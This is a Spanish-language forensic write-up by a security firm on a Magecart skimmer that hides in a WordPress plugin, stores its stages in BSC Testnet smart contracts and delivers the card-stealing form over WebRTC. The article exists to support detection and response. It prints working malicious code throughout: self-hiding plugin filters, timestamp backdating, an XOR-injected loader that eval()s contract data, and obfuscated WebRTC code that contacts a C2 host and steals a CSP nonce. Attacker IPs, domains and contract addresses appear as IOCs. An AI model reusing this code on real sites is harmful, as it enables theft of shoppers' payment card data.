El skimmer fantasma: Magecart con almacenamiento en blockchain y entrega por WebRTC
Contenido del articulo
Team DEFION Security analizo un skimmer Magecart cuyo codigo malicioso nunca estuvo en el servidor de la tienda online comprometida. Vivia en smart contracts inmutables en una blockchain publica y se entregaba al navegador de la victima mediante un canal WebRTC cifrado, controlado por un C2 remoto. Resultado: invisible para escaneres de malware, FIM, WAF y takedowns de dominio/IP.
Durante una investigacion forense reciente sobre el compromiso de una tienda online (WordPress + WooCommerce), analizamos un web skimmer que rompe casi todas las suposiciones sobre las que se construyen las defensas clasicas contra Magecart. El codigo que robaba los datos de tarjeta de los clientes nunca estuvo, ni un instante, en el servidor de la tienda. Vivia en smart contracts inmutables en una blockchain publica y se entregaba al navegador de la victima mediante un canal WebRTC cifrado, servido por un C2 remoto.
El resultado es un skimmer invisible para escaneres de malware, monitorizacion de integridad de archivos (FIM), WAF, inspeccion de trafico HTTP e incluso analisis del tamano de las respuestas del servidor. Y como bonus para el atacante: parte de la infraestructura es, en la practica, imposible de derribar.
Este articulo desgrana la arquitectura de cuatro capas del skimmer, explica por que cada decision de diseno esta orientada a evadir un control especifico, y muestra que rastro deja y como cazarlo. Todos los datos sensibles de este caso han sido anonimizados; los indicadores de la infraestructura del atacante se mantienen por su valor como threat intelligence.
El problema con Magecart "tal como lo conocemos"
Un web skimmer (o ataque Magecart) es JavaScript malicioso inyectado en una tienda online que captura lo que escribe un comprador, tipicamente datos de tarjeta, para exfiltrarlo despues a un servidor del atacante. La variante "clasica" inyecta este JavaScript de alguna de estas formas:
- una etiqueta
<script>en el HTML del checkout, - una etiqueta en el gestor de etiquetas (Google Tag Manager y similares),
- un archivo .js alojado en el mismo servidor o en un dominio de terceros.
Todas comparten una propiedad que los defensores aprovechan: en algun momento, el codigo malicioso es observable. Esta en el HTML servido, en el JS publico del sitio, en un archivo en disco, o en una peticion HTTP saliente hacia un dominio que se puede bloquear. Sobre esa observabilidad se apoyan el File Integrity Monitoring (FIM), los escaneres de malware del servidor, los WAF que inspeccionan trafico, las directivas de Content Security Policy (CSP) y los takedowns de dominios e IPs.
El skimmer que analizamos esta disenado, capa por capa, para que ninguna de estas suposiciones se cumpla. Pertenece a una familia que la industria documenta desde 2023 bajo el nombre de skimmers Web3 con entrega por WebRTC.
Vision general: cuatro capas de indireccion
| Capa | Componente | Donde vive |
|---|---|---|
| 1 | Loader XOR (407 bytes) | Base de datos de WordPress (wp_options) |
| 2 | Smart contract #1 | BSC Testnet (0xAeF2...84F8) |
| 3 | Smart contract #2 | BSC Testnet (0xeED9...c999) |
| 4 | Formulario fraudulento | Servidor C2, via WebRTC (103.141.13.26:3479/UDP) |
La idea de fondo: el servidor de la tienda solo aloja un fragmento minimo e incomprensible (el loader cifrado de 407 bytes). Todo lo demas se obtiene en tiempo de ejecucion desde infraestructura externa, y la ultima capa, la que la victima realmente ve, ni siquiera viaja por un canal inspeccionable.
Antes de entrar en las capas, conviene ver como llego el atacante al servidor y como se planto el loader, porque aqui si hubo actividad observable (a posteriori).
Capa 0: el vector de acceso y la cadena de suministro de plugins "nulled"
El vector de acceso mas probable no fue una vulnerabilidad explotada activamente, sino una copia ilegal ("nulled") de un plugin comercial. En el sitio coexistian dos versiones manipuladas sucesivas de un conocido page builder de WordPress:
- Una primera version crackeada, descargada de un repositorio ilegal de plugins (
wordpressnull.org), presente en el servidor aproximadamente un ano antes del despliegue activo del skimmer. Llamaba a servidores de terceros para "validar" la licencia, comportamiento tipico de distribuciones manipuladas que a menudo viene acompanado de una puerta trasera. - Una segunda version manipulada, esta con un bloque
/* Ultrapack Unlock */que interceptaba la validacion de licencia y la redirigia a un servidor de activacion de terceros (activations.ultrapackv2.com).
El modelo de negocio es conocido: el distribuidor de plugins ilegales incorpora una puerta trasera, mantiene acceso latente al sitio durante meses y, en algun momento, monetiza ese acceso vendiendolo o transfiriendolo a un operador de campanas de skimming. El intervalo de aproximadamente un ano entre la instalacion de la copia crackeada y la activacion del skimmer coincide exactamente con ese patron de "acceso latente, monetizacion posterior".
Por eso importa entender que un plugin nulled no es "el mismo plugin, pero gratis". Es un canal de suministro controlado por un tercero hostil. Y reinstalar desde la misma fuente durante la respuesta a incidentes no limpia, reinfecta.
El despliegue: 15 minutos de automatizacion en el servidor
Reconstruyendo las marcas de tiempo en la base de datos (timestamps Unix en wp_usermeta y en las propias opciones del skimmer) se ve que el despliegue de la fase activa se concentro en una ventana de 15 minutos:
10:54 uninstall.php de un plugin -> puerta trasera PHP activada via cookie (wjxq_)
11:01 uninstall.php de otro plugin -> segunda puerta trasera (wjxq_)
11:07 creacion de dos usuarios rogue (uno admin, degradado despues)
11:09 instalacion del plugin instalador falso + escritura del loader XOR en la base de datos Cuatro acciones independientes en quince minutos no es una instalacion manual desde un navegador, es automatizacion en el lado del servidor. El atacante ya tenia ejecucion de codigo (via la puerta trasera del plugin ilegal o una webshell previa). Un detalle interesante sobre las puertas traseras: se inyectaron en los archivos uninstall.php de varios plugins, codigo que solo se ejecuta al desinstalar el plugin correspondiente, minimizando la probabilidad de deteccion en una revision manual, y se activaban con una cookie especifica (wjxq_).
Capa 1: el loader de 407 bytes que nadie ve
El instalador es un plugin de WordPress falso con una cabecera que parece legitima (con un error revelador en el nombre del autor). Implementa cuatro funciones maliciosas concurrentes, todas orientadas a la evasion.
1) Autoocultacion en el panel de administracion. Mediante filtros estandar de WordPress, el plugin se elimina a si mismo de la lista de plugins instalados y de las actualizaciones disponibles. Es invisible en el panel, aunque esta activo:
add_filter('all_plugins', function($plugins) use ($base) {
if (isset($plugins[$base])) unset($plugins[$base]);
return $plugins;
}, 0);
add_filter('site_transient_update_plugins', function($value) use ($base) {
if (isset($value->response[$base])) unset($value->response[$base]);
return $value;
}, 0); 2) Retroactivacion de marcas de tiempo (timestamp backdating). Al activarse, el plugin ejecuto touch() sobre todos sus archivos con una fecha tres meses anterior a la real, para evadir cualquier busqueda de "archivos modificados recientemente":
register_activation_hook(__FILE__, 'trust_patch');
function trust_patch() {
$tdata = strtotime('-3 months'); // retrocede 3 meses
trust_dir(plugin_dir_path(__FILE__), $tdata);
} En la copia de seguridad, los archivos parecian datar de diciembre de 2025; su ctime real era finales de marzo de 2026. Como resultado, la primera busqueda de patrones ofuscados (eval(base64_decode(...)), gzinflate, etc.) y de archivos recientes no encontro nada: no habia ofuscacion clasica, y las fechas no delataban la actividad.
3) Ocultacion de un usuario rogue. Mediante el filtro pre_user_query, el plugin ocultaba un usuario especifico (cuyo ID se almacenaba en otra opcion de la base de datos) de todas las listas de usuarios y de la REST API.
4) Inyeccion dinamica del skimmer. El nucleo. Solo en el frontend (!is_admin()) y solo si el flag ia (is active) esta en 1, el plugin obtiene un blob cifrado de la base de datos, lo descifra con XOR y lo inyecta como script inline mediante la API legitima de WordPress:
function woo_inc() {
if (!is_admin()) {
$mc_b = get_option('p_set', ['ia' => 0]);
if ($mc_b && !empty($mc_b['ia']) && isset($mc_b['ce'], $mc_b['dk'], $mc_b['de'])) {
$script = xor_decrypt($mc_b['ce'], $mc_b['dk']); // XOR, clave en 'dk'
wp_register_script('front_inc', '', explode(',', $mc_b['de']), $mc_b['lu'], true);
wp_enqueue_script('front_inc');
wp_add_inline_script('front_inc', $script); // se inyecta en TODAS las paginas
}
}
}
add_action('wp_enqueue_scripts', 'woo_inc', 1); El loader cifrado se almacenaba en una opcion de wp_options como array PHP serializado, con una estructura compacta:
| Campo | Significado | Valor |
|---|---|---|
| ce | cipher encrypted (payload XOR) | 407 bytes |
| dk | clave XOR | c77d5cd5 |
| de | dependencias JS | jquery |
| ia | is active | 1 |
| lu | last updated (Unix) | timestamp del despliegue |
Por que importan los 407 bytes. La inyeccion de 407 bytes via wp_add_inline_script() se mantiene dentro de la variacion normal del contenido dinamico de un checkout (alrededor de los 2.400 bytes). El truco clasico de detectar skimmers por el crecimiento del HTML servido, simplemente, no funciona aqui.
Una vez descifrado, el loader de la capa 1 es este JavaScript (407 bytes):
fetch("https://bsc-testnet-rpc.publicnode.com", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{' +
'"to":"0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8",' +
'"data":"0xe2179b8e"},"latest"]}'
}).then(r => r.json()).then(j => {
let h = j.result, l = parseInt(h.slice(66, 130), 16) * 2;
eval(h.slice(130, 130 + l).replace(/../g, c => String.fromCharCode(parseInt(c, 16))))
}) En concreto: un eth_call a un smart contract, decodificar el resultado hexadecimal como ASCII y eval(). La siguiente capa no vive en el servidor.
Capas 2 y 3: la blockchain como almacenamiento resistente a takedowns
eth_call es un metodo de la API JSON-RPC de Ethereum (y redes compatibles como Binance Smart Chain) que lee una funcion de un smart contract sin generar transaccion ni coste. El loader utiliza esto contra dos contratos desplegados en BSC Testnet (la red de pruebas de Binance Smart Chain, chain ID 97).
Que sea la testnet no es casualidad, es una decision de coste: los contratos en testnet son gratuitos, publicos e inmutables, igual que en mainnet, sin emitir criptomoneda real. El atacante obtiene almacenamiento permanente y resistente a la censura, a coste cero.
El contrato #1 retorna (codificado en ABI de Ethereum para tipos dinamicos) el loader de la capa 2, que anade resiliencia mediante una lista de hasta 8 nodos RPC publicos con failover y la direccion del contrato #2:
const N = [ "https://bsc-testnet-rpc.publicnode.com",
"https://data-seed-prebsc-1-s1.bnbchain.org:8545", /* +6 nodos mas */ ];
const A = ["0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999"]; // contrato #2
// ... recorre A a traves de N hasta que uno responde ...
let d = (await Promise.all(A.map(R))).join("");
let c;
if (d.startsWith("GZIP:")) { // payload comprimido
const b = atob(d.slice(5)), u = new Uint8Array(b.length);
for (let i=0;i<b.length;i++) u[i]=b.charCodeAt(i);
c = await new Response(new Blob([u]).stream()
.pipeThrough(new DecompressionStream("gzip"))).text();
}
if (c) (new Function(c))(); // ejecuta la capa 4 El contrato #2 retorna ~1,4 KB con prefijo GZIP: y base64; descomprimido, son ~2 KB de JavaScript, el codigo que establece el canal WebRTC. Aqui ya se ven dos refinamientos:
- Failover entre 8 nodos RPC: si un nodo publico deja de servir, el skimmer sigue funcionando. No hay un unico punto que desactivar.
- Compresion GZIP en la blockchain: para reducir el coste de almacenamiento y dificultar el grep del contenido del contrato.
Por que esto es un quebradero de cabeza para la defensa. Un dominio o una IP se pueden bloquear y reportar. Un contrato en una blockchain publica no puede ser modificado ni eliminado por nadie, ni siquiera por su propio autor o por una autoridad judicial. La capa de "almacenamiento" del skimmer es, en la practica, indestructible. Solo queda margen de accion sobre los nodos RPC (que son infraestructura legitima y compartida) o sobre el loader en el servidor.
Capa 4: entrega por WebRTC, donde el skimmer se vuelve invisible
Aqui esta la parte realmente ingeniosa. El payload final (el formulario fraudulento que ve la victima) no se descarga por HTTP. Llega a traves de un canal WebRTC directo hacia el C2.
El codigo esta ofuscado para no dejar cadenas detectables: la IP del C2 se reconstruye aritmeticamente y los nombres de las APIs se dividen en fragmentos:
var rd=103, Ba3=141, UP=13, Mr=26;
var BVs = [rd, Ba3, UP, Mr].join('.'); // -> "103.141.13.26"
var uyP = 3479; // puerto UDP del C2
var fPn = 'RTC'+'Peer'+'Connec'+'tion'; // -> "RTCPeerConnection" (evita grep)
var qU9 = new window[fPn];
var CkX = qU9['create'+'Data'+'Channel'](location.href); El truco para no necesitar servidor de senalizacion ni STUN: el codigo fabrica manualmente una respuesta SDP que apunta directamente al C2 como candidato ICE, forzando un canal DTLS/SCTP por UDP hacia 103.141.13.26:3479:
qU9['setRemote'+'Description']({
type: 'answer',
sdp: 'v=0\r\n...' +
'm=application ' + uyP + ' UDP/DTLS/SCTP webrtc-datachannel\r\n' +
'c=IN IP4 ' + BVs + '\r\n' +
'a=candidate:1 1 UDP 771594009 ' + BVs + ' ' + uyP + ' typ host\r\n'
}); El C2 envia el formulario fraudulento en fragmentos por el canal de datos; una vez el canal se cierra, el skimmer reensambla los fragmentos y los ejecuta. Antes de ejecutar, intenta robar un nonce de CSP de un <script> legitimo de la pagina para saltarse la Content Security Policy:
for (e5=0; e5<Vp.length; e5++)
if (Vp[e5].nonce) { // copia el nonce de un script legitimo
mf.nonce = Vp[e5].nonce;
mf.textContent = a3; // payload reensamblado
document.head.appendChild(mf); // se ejecuta con CSP valida
mf.remove();
return;
} El payload final es un formulario emergente "Billing Information" con una seccion "Card payment" que pide nombre y numero de tarjeta. Contiene un error revelador: el campo se llama "Cart number" en lugar de "Card number", una huella que identifica al autor del payload. Cuando la victima rellena el formulario, los datos se exfiltran al C2 por el mismo canal cifrado.
Por que falla cada control de defensa clasico
| Control de defensa | Por que falla |
|---|---|
| CSP (script-src, connect-src) | WebRTC no esta cubierto por estas directivas; ademas el skimmer roba un nonce valido |
| WAF / proxy de inspeccion HTTP | El payload viaja por UDP (DTLS/SCTP), no por HTTP. No hay peticion que inspeccionar |
| Escaner de malware / FIM del servidor | El payload final nunca toca el servidor de la tienda |
| Analisis de tamano de respuesta | La inyeccion son 407 bytes, dentro de la variacion normal del checkout |
| Takedown de dominio/IP | Las capas 2-3 viven en una blockchain inmutable, con failover entre 8 nodos RPC |
| Analisis de red | Canal DTLS cifrado, sin URLs en texto claro, IP del C2 reconstruida aritmeticamente |
| Busqueda de cadenas (grep) | Nombres de API divididos ('RTC'+'Peer'+...), payload GZIP dentro del contrato |
No es un ataque dirigido: una campana a escala industrial
El detalle que mejor contextualiza el incidente: el bytecode del contrato #2 es identico al de otros 61 contratos en la misma red, todos desplegados desde la misma direccion deployer. Esto no es un ataque artesanal contra una unica victima, es infraestructura para una campana a escala, donde cada contrato puede servir el mismo loader WebRTC para una tienda online comprometida distinta.
Lo que SI deja rastro: deteccion y hunting
El skimmer es invisible en el navegador y en el trafico, pero su instalacion y persistencia en el servidor son observables. Si operas o defiendes tiendas online WordPress/WooCommerce, esto es lo que debes cazar:
En la base de datos / WordPress:
- Plugins ocultos: compara la lista active_plugins en la base de datos con la que muestra el panel de administracion. Un plugin activo en la base de datos pero que no aparece en el panel es una senal de alarma directa.
- Opciones sospechosas en wp_options: arrays serializados con campos como ce/dk/de/ia, o nombres genericos y opacos (p_set, c_set). Un blob binario en una opcion de WordPress no es normal.
- Usuarios fantasma: huecos en la secuencia autoincremental de wp_users, o metadatos huerfanos en wp_usermeta sin fila correspondiente en wp_users (usuarios creados y luego eliminados).
- Puertas traseras en archivos "silenciosos": codigo en los archivos uninstall.php de plugins, o comprobaciones de cookie inusuales (por ejemplo, una cookie de activacion como wjxq_).
En el lado del cliente / monitorizacion en tiempo de ejecucion (RUM):
- Creacion de un RTCPeerConnection en una pagina de checkout que no tiene ninguna razon legitima para usar WebRTC. Es probablemente la senal mas fiable: instrumenta el navegador para alertar cuando aparezca WebRTC donde no deberia.
- Llamadas fetch/XHR a nodos RPC de blockchain (*.bnbchain.org, publicnode.com, etc.) desde una pagina de e-commerce. No hay ninguna razon legitima para que un checkout se comunique con un nodo RPC de BSC.
- Recuerda que SRI y CSP no son suficientes: SRI no cubre scripts inyectados inline, y CSP no restringe WebRTC. La proteccion efectiva depende de la monitorizacion del comportamiento en tiempo de ejecucion en el lado del cliente.
En la red:
- Trafico UDP saliente hacia puertos atipicos con un patron WebRTC pero sin un servidor STUN/TURN legitimo, originado desde sesiones de checkout.
Indicadores de compromiso (IOC)
El cliente ha sido anonimizado; estos indicadores pertenecen a la infraestructura del atacante y se publican por su valor como threat intelligence. Se pueden verificar de forma independiente y reproducible (los contratos, en cualquier nodo RPC de BSC Testnet).
Infraestructura del atacante
- Servidor C2 / WebRTC:
103.141.13.26:3479(UDP) - Dominios:
systmshield.com,init.systmshield.com - Smart contract #1 (BSC Testnet):
0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8 - Smart contract #2 (BSC Testnet):
0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999 - Bytecode del contrato #2 identico a otros 61 contratos del mismo deployer (campana a escala)
En el servidor comprometido
wp_options['p_set']/['c_set'](con ia=1): loader XOR del skimmer (frontend/admin)- Clave XOR del loader:
c77d5cd5 - Cookie de activacion de las puertas traseras PHP:
wjxq_ - Plugin oculto mediante el filtro
all_plugins: instalador del skimmer - Puertas traseras en
uninstall.phpde plugins: persistencia PHP - "Cart number" (error): huella del autor del payload fraudulento
- Fuente probable del compromiso inicial: copias nulled de un page builder de WordPress via wordpressnull.org y activations.ultrapackv2.com
Nota editorial: este articulo se basa en investigacion forense original de Team DEFION Security. Todos los datos del cliente afectado han sido anonimizados.
Sospecha de un skimmer o compromiso similar en su tienda online?
Nuestro equipo de Incident Response realiza investigaciones forenses, identifica indicadores de compromiso y ayuda en la remediacion y recuperacion.
Contactar
®